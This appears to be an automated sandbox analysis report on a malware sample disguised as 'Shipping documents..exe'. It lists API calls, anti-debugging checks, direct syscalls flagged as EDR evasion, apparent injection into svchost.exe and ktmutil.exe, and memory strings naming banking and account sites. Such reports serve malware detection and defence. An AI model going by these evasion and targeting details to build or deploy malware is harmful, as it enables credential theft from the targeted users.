Source: C:\Users\user\Desktop\Shipping documents..exe	Code function: 0_2_004788BD FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,	0_2_004788BD
Source: C:\Users\user\Desktop\Shipping documents..exe	Code function: 0_2_004339B6 GetFileAttributesW,FindFirstFileW,FindClose,	0_2_004339B6
Source: C:\Users\user\Desktop\Shipping documents..exe	Code function: 0_2_0045CAFA FindFirstFileW,FindNextFileW,FindClose,	0_2_0045CAFA
Source: C:\Users\user\Desktop\Shipping documents..exe	Code function: 0_2_00431A86 FindFirstFileW,FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindClose,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	0_2_00431A86
Source: C:\Users\user\Desktop\Shipping documents..exe	Code function: 0_2_0044BD27 _wcscat,_wcscat,__wsplitpath,FindFirstFileW,CopyFileW,_wcscpy,_wcscat,_wcscat,lstrcmpiW,DeleteFileW,MoveFileW,CopyFileW,DeleteFileW,CopyFileW,FindClose,MoveFileW,FindNextFileW,FindClose,	0_2_0044BD27
Source: C:\Users\user\Desktop\Shipping documents..exe	Code function: 0_2_0045DE8F FindFirstFileW,FindClose,	0_2_0045DE8F
Source: C:\Users\user\Desktop\Shipping documents..exe	Code function: 0_2_0044BF8B _wcscat,__wsplitpath,FindFirstFileW,_wcscpy,_wcscat,_wcscat,DeleteFileW,FindNextFileW,FindClose,FindClose,	0_2_0044BF8B
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_0299C810 FindFirstFileW,FindNextFileW,FindClose,	6_2_0299C810

Source: C:\Users\user\Desktop\Shipping documents..exe

Code function: 0_2_0040E500 GetVersionExW,GetCurrentProcess,GetNativeSystemInfo,FreeLibrary,FreeLibrary,FreeLibrary,GetSystemInfo,GetSystemInfo,FreeLibrary,

0_2_0040E500

Source: 283026M3L.6.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696487552
Source: ktmutil.exe, 00000006.00000002.4571677515.0000000007B97000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware20,11696487552^
Source: 283026M3L.6.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696487552\|UE
Source: 283026M3L.6.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696487552u
Source: 283026M3L.6.dr	Binary or memory string: discord.comVMware20,11696487552f
Source: 283026M3L.6.dr	Binary or memory string: bankofamerica.comVMware20,11696487552x
Source: ktmutil.exe, 00000006.00000002.4571677515.0000000007B97000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: omVMware20,11696487552\|UE
Source: ktmutil.exe, 00000006.00000002.4571677515.0000000007B97000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696487552
Source: 283026M3L.6.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696487552}
Source: ktmutil.exe, 00000006.00000002.4571677515.0000000007B97000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: nteractive Brokers - HKVMware20,11696487552]
Source: 283026M3L.6.dr	Binary or memory string: ms.portal.azure.comVMware20,11696487552
Source: 283026M3L.6.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552
Source: 283026M3L.6.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696487552
Source: 283026M3L.6.dr	Binary or memory string: global block list test formVMware20,11696487552
Source: 283026M3L.6.dr	Binary or memory string: tasks.office.comVMware20,11696487552o
Source: ktmutil.exe, 00000006.00000002.4571677515.0000000007B97000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: .co.inVMware20,11696487552d
Source: 283026M3L.6.dr	Binary or memory string: AMC password management pageVMware20,11696487552
Source: ktmutil.exe, 00000006.00000002.4559793375.0000000002DC3000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000000A.00000002.2742161906.0000026C9564C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: ktmutil.exe, 00000006.00000002.4571677515.0000000007B97000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ansaction PasswordVMware20,11696487552x
Source: 283026M3L.6.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696487552d
Source: 283026M3L.6.dr	Binary or memory string: dev.azure.comVMware20,11696487552j
Source: 283026M3L.6.dr	Binary or memory string: interactivebrokers.comVMware20,11696487552
Source: 283026M3L.6.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696487552]
Source: 283026M3L.6.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696487552x
Source: ktmutil.exe, 00000006.00000002.4571677515.0000000007B97000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: rs.comVMware20,11696487552
Source: 283026M3L.6.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696487552
Source: 283026M3L.6.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696487552h
Source: ktmutil.exe, 00000006.00000002.4571677515.0000000007B97000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,1169648755
Source: 283026M3L.6.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696487552z
Source: 283026M3L.6.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696487552~
Source: 283026M3L.6.dr	Binary or memory string: outlook.office365.comVMware20,11696487552t
Source: 283026M3L.6.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552^
Source: 283026M3L.6.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696487552p
Source: 283026M3L.6.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696487552n
Source: 283026M3L.6.dr	Binary or memory string: outlook.office.comVMware20,11696487552s
Source: 283026M3L.6.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696487552
Source: 283026M3L.6.dr	Binary or memory string: turbotax.intuit.comVMware20,11696487552t
Source: 283026M3L.6.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696487552x
Source: ktmutil.exe, 00000006.00000002.4571677515.0000000007B97000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,1169648
Source: FuFneNIzDsF.exe, 00000008.00000002.4566944352.000000000124F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll=
Source: 283026M3L.6.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696487552}
Source: ktmutil.exe, 00000006.00000002.4571677515.0000000007B97000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CDYNVMware20,11696487552z
Source: 283026M3L.6.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696487552

Source: C:\Users\user\Desktop\Shipping documents..exe

API call chain: ExitProcess graph end node

graph_0-86308

Source: C:\Windows\SysWOW64\svchost.exe

Process information queried: ProcessInformation

Found direct / indirect Syscall (likely to bypass EDR)

Source: C:\Windows\SysWOW64\svchost.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Windows\SysWOW64\ktmutil.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 2_2_0377096E rdtsc

2_2_0377096E

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 2_2_00417A83 LdrLoadDll,

2_2_00417A83

Source: C:\Users\user\Desktop\Shipping documents..exe

Code function: 0_2_0045A370 BlockInput,

0_2_0045A370

Source: C:\Users\user\Desktop\Shipping documents..exe

Code function: 0_2_0040D590 GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetModuleFileNameW,GetForegroundWindow,ShellExecuteW,GetForegroundWindow,ShellExecuteW,

0_2_0040D590

Source: C:\Users\user\Desktop\Shipping documents..exe

Code function: 0_2_0040EBD0 LoadLibraryA,GetProcAddress,

0_2_0040EBD0

Source: C:\Users\user\Desktop\Shipping documents..exe	Code function: 0_2_03EB6168 mov eax, dword ptr fs:[00000030h]	0_2_03EB6168
Source: C:\Users\user\Desktop\Shipping documents..exe	Code function: 0_2_03EB6108 mov eax, dword ptr fs:[00000030h]	0_2_03EB6108
Source: C:\Users\user\Desktop\Shipping documents..exe	Code function: 0_2_03EB4AB8 mov eax, dword ptr fs:[00000030h]	0_2_03EB4AB8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037D437C mov eax, dword ptr fs:[00000030h]	2_2_037D437C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037B035C mov eax, dword ptr fs:[00000030h]	2_2_037B035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037B035C mov eax, dword ptr fs:[00000030h]	2_2_037B035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037B035C mov eax, dword ptr fs:[00000030h]	2_2_037B035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037B035C mov ecx, dword ptr fs:[00000030h]	2_2_037B035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037B035C mov eax, dword ptr fs:[00000030h]	2_2_037B035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037B035C mov eax, dword ptr fs:[00000030h]	2_2_037B035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037FA352 mov eax, dword ptr fs:[00000030h]	2_2_037FA352
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037D8350 mov ecx, dword ptr fs:[00000030h]	2_2_037D8350
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037B2349 mov eax, dword ptr fs:[00000030h]	2_2_037B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037B2349 mov eax, dword ptr fs:[00000030h]	2_2_037B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037B2349 mov eax, dword ptr fs:[00000030h]	2_2_037B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037B2349 mov eax, dword ptr fs:[00000030h]	2_2_037B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037B2349 mov eax, dword ptr fs:[00000030h]	2_2_037B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037B2349 mov eax, dword ptr fs:[00000030h]	2_2_037B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037B2349 mov eax, dword ptr fs:[00000030h]	2_2_037B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037B2349 mov eax, dword ptr fs:[00000030h]	2_2_037B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037B2349 mov eax, dword ptr fs:[00000030h]	2_2_037B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037B2349 mov eax, dword ptr fs:[00000030h]	2_2_037B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037B2349 mov eax, dword ptr fs:[00000030h]	2_2_037B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037B2349 mov eax, dword ptr fs:[00000030h]	2_2_037B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037B2349 mov eax, dword ptr fs:[00000030h]	2_2_037B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037B2349 mov eax, dword ptr fs:[00000030h]	2_2_037B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037B2349 mov eax, dword ptr fs:[00000030h]	2_2_037B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0372C310 mov ecx, dword ptr fs:[00000030h]	2_2_0372C310
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03750310 mov ecx, dword ptr fs:[00000030h]	2_2_03750310
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0376A30B mov eax, dword ptr fs:[00000030h]	2_2_0376A30B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0376A30B mov eax, dword ptr fs:[00000030h]	2_2_0376A30B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0376A30B mov eax, dword ptr fs:[00000030h]	2_2_0376A30B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0374E3F0 mov eax, dword ptr fs:[00000030h]	2_2_0374E3F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0374E3F0 mov eax, dword ptr fs:[00000030h]	2_2_0374E3F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0374E3F0 mov eax, dword ptr fs:[00000030h]	2_2_0374E3F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037663FF mov eax, dword ptr fs:[00000030h]	2_2_037663FF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037403E9 mov eax, dword ptr fs:[00000030h]	2_2_037403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037403E9 mov eax, dword ptr fs:[00000030h]	2_2_037403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037403E9 mov eax, dword ptr fs:[00000030h]	2_2_037403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037403E9 mov eax, dword ptr fs:[00000030h]	2_2_037403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037403E9 mov eax, dword ptr fs:[00000030h]	2_2_037403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037403E9 mov eax, dword ptr fs:[00000030h]	2_2_037403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037403E9 mov eax, dword ptr fs:[00000030h]	2_2_037403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037403E9 mov eax, dword ptr fs:[00000030h]	2_2_037403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03808324 mov eax, dword ptr fs:[00000030h]	2_2_03808324
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03808324 mov ecx, dword ptr fs:[00000030h]	2_2_03808324
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03808324 mov eax, dword ptr fs:[00000030h]	2_2_03808324
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03808324 mov eax, dword ptr fs:[00000030h]	2_2_03808324
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037DE3DB mov eax, dword ptr fs:[00000030h]	2_2_037DE3DB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037DE3DB mov eax, dword ptr fs:[00000030h]	2_2_037DE3DB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037DE3DB mov ecx, dword ptr fs:[00000030h]	2_2_037DE3DB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037DE3DB mov eax, dword ptr fs:[00000030h]	2_2_037DE3DB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037D43D4 mov eax, dword ptr fs:[00000030h]	2_2_037D43D4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037D43D4 mov eax, dword ptr fs:[00000030h]	2_2_037D43D4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037EC3CD mov eax, dword ptr fs:[00000030h]	2_2_037EC3CD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0373A3C0 mov eax, dword ptr fs:[00000030h]	2_2_0373A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0373A3C0 mov eax, dword ptr fs:[00000030h]	2_2_0373A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0373A3C0 mov eax, dword ptr fs:[00000030h]	2_2_0373A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0373A3C0 mov eax, dword ptr fs:[00000030h]	2_2_0373A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0373A3C0 mov eax, dword ptr fs:[00000030h]	2_2_0373A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0373A3C0 mov eax, dword ptr fs:[00000030h]	2_2_0373A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037383C0 mov eax, dword ptr fs:[00000030h]	2_2_037383C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037383C0 mov eax, dword ptr fs:[00000030h]	2_2_037383C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037383C0 mov eax, dword ptr fs:[00000030h]	2_2_037383C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037383C0 mov eax, dword ptr fs:[00000030h]	2_2_037383C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037B63C0 mov eax, dword ptr fs:[00000030h]	2_2_037B63C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0380634F mov eax, dword ptr fs:[00000030h]	2_2_0380634F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03728397 mov eax, dword ptr fs:[00000030h]	2_2_03728397
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03728397 mov eax, dword ptr fs:[00000030h]	2_2_03728397
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03728397 mov eax, dword ptr fs:[00000030h]	2_2_03728397
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0372E388 mov eax, dword ptr fs:[00000030h]	2_2_0372E388
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0372E388 mov eax, dword ptr fs:[00000030h]	2_2_0372E388
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0372E388 mov eax, dword ptr fs:[00000030h]	2_2_0372E388
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0375438F mov eax, dword ptr fs:[00000030h]	2_2_0375438F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0375438F mov eax, dword ptr fs:[00000030h]	2_2_0375438F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037E0274 mov eax, dword ptr fs:[00000030h]	2_2_037E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037E0274 mov eax, dword ptr fs:[00000030h]	2_2_037E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037E0274 mov eax, dword ptr fs:[00000030h]	2_2_037E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037E0274 mov eax, dword ptr fs:[00000030h]	2_2_037E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037E0274 mov eax, dword ptr fs:[00000030h]	2_2_037E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037E0274 mov eax, dword ptr fs:[00000030h]	2_2_037E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037E0274 mov eax, dword ptr fs:[00000030h]	2_2_037E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037E0274 mov eax, dword ptr fs:[00000030h]	2_2_037E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037E0274 mov eax, dword ptr fs:[00000030h]	2_2_037E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037E0274 mov eax, dword ptr fs:[00000030h]	2_2_037E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037E0274 mov eax, dword ptr fs:[00000030h]	2_2_037E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037E0274 mov eax, dword ptr fs:[00000030h]	2_2_037E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03734260 mov eax, dword ptr fs:[00000030h]	2_2_03734260
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03734260 mov eax, dword ptr fs:[00000030h]	2_2_03734260
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03734260 mov eax, dword ptr fs:[00000030h]	2_2_03734260
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0372826B mov eax, dword ptr fs:[00000030h]	2_2_0372826B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0372A250 mov eax, dword ptr fs:[00000030h]	2_2_0372A250
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03736259 mov eax, dword ptr fs:[00000030h]	2_2_03736259
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037EA250 mov eax, dword ptr fs:[00000030h]	2_2_037EA250
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037EA250 mov eax, dword ptr fs:[00000030h]	2_2_037EA250
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037B8243 mov eax, dword ptr fs:[00000030h]	2_2_037B8243
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037B8243 mov ecx, dword ptr fs:[00000030h]	2_2_037B8243
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0372823B mov eax, dword ptr fs:[00000030h]	2_2_0372823B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_038062D6 mov eax, dword ptr fs:[00000030h]	2_2_038062D6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037402E1 mov eax, dword ptr fs:[00000030h]	2_2_037402E1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037402E1 mov eax, dword ptr fs:[00000030h]	2_2_037402E1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037402E1 mov eax, dword ptr fs:[00000030h]	2_2_037402E1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0373A2C3 mov eax, dword ptr fs:[00000030h]	2_2_0373A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0373A2C3 mov eax, dword ptr fs:[00000030h]	2_2_0373A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0373A2C3 mov eax, dword ptr fs:[00000030h]	2_2_0373A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0373A2C3 mov eax, dword ptr fs:[00000030h]	2_2_0373A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0373A2C3 mov eax, dword ptr fs:[00000030h]	2_2_0373A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037C62A0 mov eax, dword ptr fs:[00000030h]	2_2_037C62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037C62A0 mov ecx, dword ptr fs:[00000030h]	2_2_037C62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037C62A0 mov eax, dword ptr fs:[00000030h]	2_2_037C62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037C62A0 mov eax, dword ptr fs:[00000030h]	2_2_037C62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037C62A0 mov eax, dword ptr fs:[00000030h]	2_2_037C62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037C62A0 mov eax, dword ptr fs:[00000030h]	2_2_037C62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0380625D mov eax, dword ptr fs:[00000030h]	2_2_0380625D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0376E284 mov eax, dword ptr fs:[00000030h]	2_2_0376E284
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0376E284 mov eax, dword ptr fs:[00000030h]	2_2_0376E284
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037B0283 mov eax, dword ptr fs:[00000030h]	2_2_037B0283
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037B0283 mov eax, dword ptr fs:[00000030h]	2_2_037B0283
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037B0283 mov eax, dword ptr fs:[00000030h]	2_2_037B0283
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0372C156 mov eax, dword ptr fs:[00000030h]	2_2_0372C156
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037C8158 mov eax, dword ptr fs:[00000030h]	2_2_037C8158
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03736154 mov eax, dword ptr fs:[00000030h]	2_2_03736154
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03736154 mov eax, dword ptr fs:[00000030h]	2_2_03736154
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037C4144 mov eax, dword ptr fs:[00000030h]	2_2_037C4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037C4144 mov eax, dword ptr fs:[00000030h]	2_2_037C4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037C4144 mov ecx, dword ptr fs:[00000030h]	2_2_037C4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037C4144 mov eax, dword ptr fs:[00000030h]	2_2_037C4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037C4144 mov eax, dword ptr fs:[00000030h]	2_2_037C4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03760124 mov eax, dword ptr fs:[00000030h]	2_2_03760124
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037DA118 mov ecx, dword ptr fs:[00000030h]	2_2_037DA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037DA118 mov eax, dword ptr fs:[00000030h]	2_2_037DA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037DA118 mov eax, dword ptr fs:[00000030h]	2_2_037DA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037DA118 mov eax, dword ptr fs:[00000030h]	2_2_037DA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_038061E5 mov eax, dword ptr fs:[00000030h]	2_2_038061E5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037F0115 mov eax, dword ptr fs:[00000030h]	2_2_037F0115
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037DE10E mov eax, dword ptr fs:[00000030h]	2_2_037DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037DE10E mov ecx, dword ptr fs:[00000030h]	2_2_037DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037DE10E mov eax, dword ptr fs:[00000030h]	2_2_037DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037DE10E mov eax, dword ptr fs:[00000030h]	2_2_037DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037DE10E mov ecx, dword ptr fs:[00000030h]	2_2_037DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037DE10E mov eax, dword ptr fs:[00000030h]	2_2_037DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037DE10E mov eax, dword ptr fs:[00000030h]	2_2_037DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037DE10E mov ecx, dword ptr fs:[00000030h]	2_2_037DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037DE10E mov eax, dword ptr fs:[00000030h]	2_2_037DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037DE10E mov ecx, dword ptr fs:[00000030h]	2_2_037DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037601F8 mov eax, dword ptr fs:[00000030h]	2_2_037601F8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037AE1D0 mov eax, dword ptr fs:[00000030h]	2_2_037AE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037AE1D0 mov eax, dword ptr fs:[00000030h]	2_2_037AE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037AE1D0 mov ecx, dword ptr fs:[00000030h]	2_2_037AE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037AE1D0 mov eax, dword ptr fs:[00000030h]	2_2_037AE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037AE1D0 mov eax, dword ptr fs:[00000030h]	2_2_037AE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037F61C3 mov eax, dword ptr fs:[00000030h]	2_2_037F61C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037F61C3 mov eax, dword ptr fs:[00000030h]	2_2_037F61C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037B019F mov eax, dword ptr fs:[00000030h]	2_2_037B019F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037B019F mov eax, dword ptr fs:[00000030h]	2_2_037B019F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037B019F mov eax, dword ptr fs:[00000030h]	2_2_037B019F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037B019F mov eax, dword ptr fs:[00000030h]	2_2_037B019F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03804164 mov eax, dword ptr fs:[00000030h]	2_2_03804164
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03804164 mov eax, dword ptr fs:[00000030h]	2_2_03804164
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0372A197 mov eax, dword ptr fs:[00000030h]	2_2_0372A197
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0372A197 mov eax, dword ptr fs:[00000030h]	2_2_0372A197
